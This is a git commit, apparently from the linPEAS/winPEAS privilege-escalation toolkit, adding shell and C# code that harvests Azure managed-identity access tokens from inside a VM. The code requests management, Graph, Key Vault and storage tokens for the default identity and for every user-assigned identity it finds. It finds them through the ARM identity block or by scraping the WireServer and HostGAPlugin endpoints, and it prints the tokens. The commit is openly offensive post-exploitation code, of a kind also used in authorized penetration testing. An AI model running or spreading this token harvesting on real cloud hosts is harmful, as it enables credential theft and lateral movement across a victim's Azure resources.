Improve Azure VM managed identity discovery

This commit is contained in:
Carlos Polop
2026-05-05 17:58:20 +02:00
parent 49bafa87a9
commit 15a244cb30
2 changed files with 486 additions and 6 deletions
@@ -9,10 +9,108 @@
# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title
# Global Variables: $is_az_vm
# Initial Functions: check_az_vm
# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL
# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL, $_az_vm_token_url, $_az_vm_instance_json, $_az_vm_resource_id, $_az_vm_mgmt_token_json, $_az_vm_mgmt_token, $_az_vm_arm_json, $_az_vm_uai_id, $_az_vm_uai_client_id, $_az_vm_uai_principal_id, $_az_vm_wire_data, $_az_vm_wire_client_id, $_az_vm_wire_res_id, $_az_vm_wire_header, $_az_vm_wire_url
# Fat linpeas: 0
# Small linpeas: 1
az_vm_json_value() {
if [ "$(command -v jq || echo -n '')" ]; then
jq -r "$1 // empty" 2>/dev/null
elif [ "$(command -v python3 || echo -n '')" ]; then
python3 -c 'import json,sys
obj=json.load(sys.stdin)
cur=obj
for p in sys.argv[1].strip(".").split("."):
if not p:
continue
cur = cur.get(p, {}) if isinstance(cur, dict) else {}
print(cur if isinstance(cur, str) else "")' "$1" 2>/dev/null
else
sed -n "s/.*\"$2\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p" | head -n 1
fi
}
az_vm_request() {
if [ "$(command -v curl || echo -n '')" ]; then
curl -s -f -L -H "$HEADER" "$1" 2>/dev/null
elif [ "$(command -v wget || echo -n '')" ]; then
wget -q -O - --header "$HEADER" "$1" 2>/dev/null
fi
}
az_vm_request_arm() {
if [ "$(command -v curl || echo -n '')" ]; then
curl -s -f -L -H "Authorization: Bearer $1" "$2" 2>/dev/null
elif [ "$(command -v wget || echo -n '')" ]; then
wget -q -O - --header "Authorization: Bearer $1" "$2" 2>/dev/null
fi
}
az_vm_print_token() {
_az_vm_token_url="$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=$2"
if [ "$3" ]; then
_az_vm_token_url="${_az_vm_token_url}\&$3"
fi
print_3title "$1" "T1552.005,T1580"
exec_with_jq eval $az_req "$_az_vm_token_url"
echo ""
}
az_vm_request_wireserver() {
_az_vm_wire_header="$1"
_az_vm_wire_url="$2"
if [ "$(command -v curl || echo -n '')" ]; then
if [ "$_az_vm_wire_header" ]; then
curl -s -f -L --connect-timeout 2 --max-time 5 -H "$_az_vm_wire_header" "$_az_vm_wire_url" 2>/dev/null
else
curl -s -f -L --connect-timeout 2 --max-time 5 "$_az_vm_wire_url" 2>/dev/null
fi
elif [ "$(command -v wget || echo -n '')" ]; then
if [ "$_az_vm_wire_header" ]; then
wget -q -O - --timeout 5 --tries 1 --header "$_az_vm_wire_header" "$_az_vm_wire_url" 2>/dev/null
else
wget -q -O - --timeout 5 --tries 1 "$_az_vm_wire_url" 2>/dev/null
fi
fi
}
az_vm_try_wire_identity_tokens() {
print_3title "WireServer/HostGAPlugin managed identity fallback" "T1552.005,T1580"
print_info "ARM identity discovery failed. Trying WireServer GoalState, ExtensionsConfig and HostGAPlugin /vmSettings for identity-looking selectors. These endpoints are environment-dependent and may expose no managed identity data."
_az_vm_wire_data="$(
az_vm_request_wireserver "x-ms-version: 2012-11-30" "http://168.63.129.16/machine?comp=goalstate"
az_vm_request_wireserver "x-ms-version: 2012-11-30" "http://168.63.129.16/machine/?comp=goalstate"
az_vm_request_wireserver "" "http://168.63.129.16:32526/vmSettings"
)"
if [ "$_az_vm_wire_data" ]; then
printf "%s\n" "$_az_vm_wire_data" | grep -Eio '([A-Za-z0-9_./:-]*Identity[A-Za-z0-9_./:-]*|Microsoft\.ManagedIdentity/userAssignedIdentities/[^"<>[:space:]]+|clientId["[:space:]:=]+[0-9a-fA-F-]{36}|IdentityClientId[^0-9a-fA-F]*[0-9a-fA-F-]{36})' | sort -u | head -n 80
if [ "$(command -v jq || echo -n '')" ]; then
printf "%s" "$_az_vm_wire_data" | jq -r '.. | objects | to_entries[]? | select((.key|test("(?i)(clientId|IdentityClientId)$")) and (.value|type=="string")) | .value' 2>/dev/null | sort -u | while read -r _az_vm_wire_client_id; do
if printf "%s" "$_az_vm_wire_client_id" | grep -Eq '^[0-9a-fA-F-]{36}$'; then
print_info "Trying IMDS tokens for WireServer-discovered client_id=$_az_vm_wire_client_id"
az_vm_print_token "Management token for WireServer client_id $_az_vm_wire_client_id" "https://management.azure.com/" "client_id=$_az_vm_wire_client_id"
az_vm_print_token "Graph token for WireServer client_id $_az_vm_wire_client_id" "https://graph.microsoft.com/" "client_id=$_az_vm_wire_client_id"
az_vm_print_token "Vault token for WireServer client_id $_az_vm_wire_client_id" "https://vault.azure.net/" "client_id=$_az_vm_wire_client_id"
az_vm_print_token "Storage token for WireServer client_id $_az_vm_wire_client_id" "https://storage.azure.com/" "client_id=$_az_vm_wire_client_id"
fi
done
fi
printf "%s\n" "$_az_vm_wire_data" | grep -Eio '/subscriptions/[^"<>[:space:]]+/resourceGroups/[^"<>[:space:]]+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/[^"<>[:space:]]+' | sort -u | while read -r _az_vm_wire_res_id; do
print_info "Trying IMDS tokens for WireServer-discovered msi_res_id=$_az_vm_wire_res_id"
az_vm_print_token "Management token for WireServer msi_res_id" "https://management.azure.com/" "msi_res_id=$_az_vm_wire_res_id"
az_vm_print_token "Graph token for WireServer msi_res_id" "https://graph.microsoft.com/" "msi_res_id=$_az_vm_wire_res_id"
az_vm_print_token "Vault token for WireServer msi_res_id" "https://vault.azure.net/" "msi_res_id=$_az_vm_wire_res_id"
az_vm_print_token "Storage token for WireServer msi_res_id" "https://storage.azure.com/" "msi_res_id=$_az_vm_wire_res_id"
done
else
echo "WireServer/HostGAPlugin did not return data from this context."
fi
echo ""
}
if [ "$is_az_vm" = "Yes" ]; then
print_2title "Azure VM Enumeration" "T1552.005,T1580"
@@ -47,24 +145,61 @@ if [ "$is_az_vm" = "Yes" ]; then
echo ""
print_3title "Management token" "T1552.005,T1580"
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
print_info "This is the default VM managed identity token. If several user-assigned identities exist and no system identity is present, Azure may require client_id/object_id/msi_res_id."
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
echo ""
print_3title "Graph token" "T1552.005,T1580"
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
print_info "This is the default VM managed identity token."
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
echo ""
print_3title "Vault token" "T1552.005,T1580"
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
print_info "This is the default VM managed identity token."
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
echo ""
print_3title "Storage token" "T1552.005,T1580"
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
print_info "This is the default VM managed identity token."
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
echo ""
print_3title "Attached user-assigned managed identities and tokens" "T1552.005,T1580"
print_info "LinPEAS tries to discover all attached UAIs by using the default Management token to read the VM ARM identity block. If that token cannot read Microsoft.Compute/virtualMachines/read, IMDS can still issue tokens for known client_id/object_id/msi_res_id values, but the full attached identity list cannot be discovered from IMDS alone."
_az_vm_instance_json="$(az_vm_request "$URL/instance?api-version=$API_VERSION")"
_az_vm_resource_id="$(printf "%s" "$_az_vm_instance_json" | az_vm_json_value ".compute.resourceId" "resourceId")"
_az_vm_mgmt_token_json="$(az_vm_request "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/")"
_az_vm_mgmt_token="$(printf "%s" "$_az_vm_mgmt_token_json" | az_vm_json_value ".access_token" "access_token")"
if [ "$_az_vm_resource_id" ] && [ "$_az_vm_mgmt_token" ]; then
_az_vm_arm_json="$(az_vm_request_arm "$_az_vm_mgmt_token" "https://management.azure.com${_az_vm_resource_id}?api-version=2024-07-01")"
if printf "%s" "$_az_vm_arm_json" | grep -q '"userAssignedIdentities"'; then
if [ "$(command -v jq || echo -n '')" ]; then
printf "%s" "$_az_vm_arm_json" | jq '.identity'
printf "%s" "$_az_vm_arm_json" | jq -r '.identity.userAssignedIdentities // {} | to_entries[] | [.key, .value.clientId, .value.principalId] | @tsv' 2>/dev/null | while IFS="$(printf '\t')" read -r _az_vm_uai_id _az_vm_uai_client_id _az_vm_uai_principal_id; do
if [ "$_az_vm_uai_client_id" ]; then
print_info "Requesting tokens for UAI client_id=$_az_vm_uai_client_id principal_id=$_az_vm_uai_principal_id resource_id=$_az_vm_uai_id"
az_vm_print_token "Management token for UAI $_az_vm_uai_client_id" "https://management.azure.com/" "client_id=$_az_vm_uai_client_id"
az_vm_print_token "Graph token for UAI $_az_vm_uai_client_id" "https://graph.microsoft.com/" "client_id=$_az_vm_uai_client_id"
az_vm_print_token "Vault token for UAI $_az_vm_uai_client_id" "https://vault.azure.net/" "client_id=$_az_vm_uai_client_id"
az_vm_print_token "Storage token for UAI $_az_vm_uai_client_id" "https://storage.azure.com/" "client_id=$_az_vm_uai_client_id"
fi
done
else
echo "$_az_vm_arm_json" | sed "s,access_token,${SED_RED},g"
print_info "Install jq to parse all attached user-assigned identities and request tokens for each one automatically."
az_vm_try_wire_identity_tokens
fi
else
echo "Could not read attached user-assigned identities from ARM with the default managed identity token."
az_vm_try_wire_identity_tokens
fi
else
echo "Could not obtain the VM resource ID or default Management token needed for ARM identity discovery."
az_vm_try_wire_identity_tokens
fi
echo ""
fi
echo ""
fi
fi
@@ -3,6 +3,8 @@ using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Text.Json.Nodes;
using System.Text.RegularExpressions;
namespace winPEAS.Info.CloudInfo
{
@@ -28,6 +30,7 @@ namespace winPEAS.Info.CloudInfo
const string AZURE_BASE_URL = "http://169.254.169.254/metadata/";
const string API_VERSION = "2021-12-13";
const string CONTAINER_API_VERSION = "2019-08-01";
const string ARM_VM_API_VERSION = "2024-07-01";
public static bool DoesProcessExist(string processName)
{
@@ -122,6 +125,8 @@ namespace winPEAS.Info.CloudInfo
IsAttackVector = tuple.Item3
});
}
AddAzureVmUserAssignedIdentityTokens(_endpointDataList);
}
else
{
@@ -164,6 +169,346 @@ namespace winPEAS.Info.CloudInfo
return _endpointData;
}
private void AddAzureVmUserAssignedIdentityTokens(List<EndpointData> endpointDataList)
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "Managed identity discovery note",
Data = "winPEAS can request default managed identity tokens directly from IMDS. To discover every attached user-assigned identity, it tries to read the VM ARM identity block with the default Management token. If that token lacks Microsoft.Compute/virtualMachines/read, IMDS can still issue tokens for known client_id/object_id/msi_res_id values, but the full attached identity list cannot be discovered from IMDS alone.",
IsAttackVector = false
});
string instanceJson = CreateMetadataAPIRequest(
$"{AZURE_BASE_URL}instance?api-version={API_VERSION}",
"GET",
new WebHeaderCollection() { { "Metadata", "true" } });
string vmResourceId = GetJsonString(instanceJson, "compute", "resourceId");
string managementTokenJson = CreateMetadataAPIRequest(
$"{AZURE_BASE_URL}identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/",
"GET",
new WebHeaderCollection() { { "Metadata", "true" } });
string managementToken = GetJsonString(managementTokenJson, "access_token");
if (string.IsNullOrEmpty(vmResourceId) || string.IsNullOrEmpty(managementToken))
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "Attached user-assigned managed identities",
Data = "Could not obtain the VM resource ID or default Management token needed for ARM identity discovery.",
IsAttackVector = false
});
AddAzureVmWireServerIdentityTokens(endpointDataList);
return;
}
string armUrl = $"https://management.azure.com{vmResourceId}?api-version={ARM_VM_API_VERSION}";
string vmJson = CreateMetadataAPIRequest(
armUrl,
"GET",
new WebHeaderCollection() { { "Authorization", $"Bearer {managementToken}" } });
if (string.IsNullOrEmpty(vmJson))
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "Attached user-assigned managed identities",
Data = "Could not read the VM identity block from ARM with the default managed identity token.",
IsAttackVector = false
});
AddAzureVmWireServerIdentityTokens(endpointDataList);
return;
}
JsonNode root;
try
{
root = JsonNode.Parse(vmJson);
}
catch
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "Attached user-assigned managed identities",
Data = vmJson,
IsAttackVector = false
});
AddAzureVmWireServerIdentityTokens(endpointDataList);
return;
}
JsonNode identityNode = root?["identity"];
JsonObject userAssignedIdentities = identityNode?["userAssignedIdentities"] as JsonObject;
endpointDataList.Add(new EndpointData()
{
EndpointName = "VM ARM identity block",
Data = identityNode?.ToJsonString() ?? "No identity block found in ARM VM response.",
IsAttackVector = false
});
if (userAssignedIdentities == null || userAssignedIdentities.Count == 0)
{
AddAzureVmWireServerIdentityTokens(endpointDataList);
return;
}
foreach (var identity in userAssignedIdentities)
{
string identityResourceId = identity.Key;
string clientId = identity.Value?["clientId"]?.GetValue<string>();
string principalId = identity.Value?["principalId"]?.GetValue<string>();
if (string.IsNullOrEmpty(clientId))
{
continue;
}
endpointDataList.Add(new EndpointData()
{
EndpointName = $"User-assigned MI {clientId}",
Data = $"ResourceId: {identityResourceId}\nPrincipalId: {principalId}",
IsAttackVector = false
});
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&client_id={Uri.EscapeDataString(clientId)}"))
{
string result = CreateMetadataAPIRequest(
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
"GET",
new WebHeaderCollection() { { "Metadata", "true" } });
endpointDataList.Add(new EndpointData()
{
EndpointName = $"{tokenEndpoint.Item1} for UAI {clientId}",
Data = result,
IsAttackVector = true
});
}
}
}
private void AddAzureVmWireServerIdentityTokens(List<EndpointData> endpointDataList)
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "WireServer/HostGAPlugin managed identity fallback note",
Data = "ARM identity discovery failed or returned no user-assigned identities. Trying WireServer GoalState and HostGAPlugin /vmSettings for identity-looking selectors. These endpoints are environment-dependent and may expose no managed identity data.",
IsAttackVector = false
});
string wireData = "";
wireData += CreateMetadataAPIRequest(
"http://168.63.129.16/machine?comp=goalstate",
"GET",
new WebHeaderCollection() { { "x-ms-version", "2012-11-30" } });
wireData += "\n";
wireData += CreateMetadataAPIRequest(
"http://168.63.129.16/machine/?comp=goalstate",
"GET",
new WebHeaderCollection() { { "x-ms-version", "2012-11-30" } });
wireData += "\n";
wireData += CreateMetadataAPIRequest(
"http://168.63.129.16:32526/vmSettings",
"GET");
if (string.IsNullOrEmpty(wireData))
{
endpointDataList.Add(new EndpointData()
{
EndpointName = "WireServer/HostGAPlugin managed identity fallback",
Data = "WireServer/HostGAPlugin did not return data from this context.",
IsAttackVector = false
});
return;
}
HashSet<string> clientIds = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
HashSet<string> resourceIds = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
CollectWireServerIdentitySelectors(wireData, clientIds, resourceIds);
endpointDataList.Add(new EndpointData()
{
EndpointName = "WireServer/HostGAPlugin identity-looking hints",
Data = GetWireServerIdentityHints(wireData),
IsAttackVector = false
});
foreach (string clientId in clientIds)
{
endpointDataList.Add(new EndpointData()
{
EndpointName = $"WireServer-discovered client_id {clientId}",
Data = "Trying IMDS tokens for this client_id.",
IsAttackVector = false
});
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&client_id={Uri.EscapeDataString(clientId)}"))
{
string result = CreateMetadataAPIRequest(
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
"GET",
new WebHeaderCollection() { { "Metadata", "true" } });
endpointDataList.Add(new EndpointData()
{
EndpointName = $"{tokenEndpoint.Item1} for WireServer client_id {clientId}",
Data = result,
IsAttackVector = true
});
}
}
foreach (string resourceId in resourceIds)
{
endpointDataList.Add(new EndpointData()
{
EndpointName = $"WireServer-discovered msi_res_id {resourceId}",
Data = "Trying IMDS tokens for this msi_res_id.",
IsAttackVector = false
});
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&msi_res_id={Uri.EscapeDataString(resourceId)}"))
{
string result = CreateMetadataAPIRequest(
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
"GET",
new WebHeaderCollection() { { "Metadata", "true" } });
endpointDataList.Add(new EndpointData()
{
EndpointName = $"{tokenEndpoint.Item1} for WireServer msi_res_id",
Data = result,
IsAttackVector = true
});
}
}
}
private static void CollectWireServerIdentitySelectors(string wireData, HashSet<string> clientIds, HashSet<string> resourceIds)
{
TryCollectWireServerJsonSelectors(wireData, clientIds, resourceIds);
foreach (Match match in Regex.Matches(wireData, @"(?i)(clientId|IdentityClientId|client_id)[^0-9a-fA-F]{0,80}([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})"))
{
clientIds.Add(match.Groups[2].Value);
}
foreach (Match match in Regex.Matches(wireData, @"(?i)/subscriptions/[^""<>\s]+/resourceGroups/[^""<>\s]+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/[^""<>\s]+"))
{
resourceIds.Add(match.Value);
}
}
private static void TryCollectWireServerJsonSelectors(string wireData, HashSet<string> clientIds, HashSet<string> resourceIds)
{
try
{
JsonNode root = JsonNode.Parse(wireData);
CollectJsonIdentitySelectors(root, clientIds, resourceIds);
}
catch
{
}
}
private static void CollectJsonIdentitySelectors(JsonNode node, HashSet<string> clientIds, HashSet<string> resourceIds)
{
if (node == null)
{
return;
}
if (node is JsonObject obj)
{
foreach (var prop in obj)
{
string value = null;
try
{
value = prop.Value?.GetValue<string>();
}
catch
{
}
if (!string.IsNullOrEmpty(value))
{
if (Regex.IsMatch(prop.Key, @"(?i)(clientId|IdentityClientId)$") && Regex.IsMatch(value, @"^[0-9a-fA-F-]{36}$"))
{
clientIds.Add(value);
}
if (Regex.IsMatch(value, @"(?i)/subscriptions/.+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/"))
{
resourceIds.Add(value);
}
}
CollectJsonIdentitySelectors(prop.Value, clientIds, resourceIds);
}
}
else if (node is JsonArray arr)
{
foreach (JsonNode child in arr)
{
CollectJsonIdentitySelectors(child, clientIds, resourceIds);
}
}
}
private static string GetWireServerIdentityHints(string wireData)
{
List<string> hints = new List<string>();
foreach (Match match in Regex.Matches(wireData, @"(?i)([A-Za-z0-9_./:-]*Identity[A-Za-z0-9_./:-]*|Microsoft\.ManagedIdentity/userAssignedIdentities/[^""<>\s]+|clientId["":=\s]+[0-9a-fA-F-]{36}|IdentityClientId[^0-9a-fA-F]*[0-9a-fA-F-]{36})"))
{
if (!hints.Contains(match.Value))
{
hints.Add(match.Value);
}
if (hints.Count >= 80)
{
break;
}
}
return hints.Count > 0 ? string.Join("\n", hints) : "No identity-looking strings found in WireServer/HostGAPlugin responses.";
}
private static List<Tuple<string, string, bool>> GetAzureVmTokenEndpoints(string selectorSuffix = "")
{
return new List<Tuple<string, string, bool>>()
{
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/{selectorSuffix}", true),
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/{selectorSuffix}", true),
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/{selectorSuffix}", true),
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/{selectorSuffix}", true)
};
}
private static string GetJsonString(string json, params string[] path)
{
if (string.IsNullOrEmpty(json))
{
return null;
}
try
{
JsonNode current = JsonNode.Parse(json);
foreach (string key in path)
{
current = current?[key];
if (current == null)
{
return null;
}
}
return current.GetValue<string>();
}
catch
{
return null;
}
}
public override bool TestConnection()
{
if (IsContainer())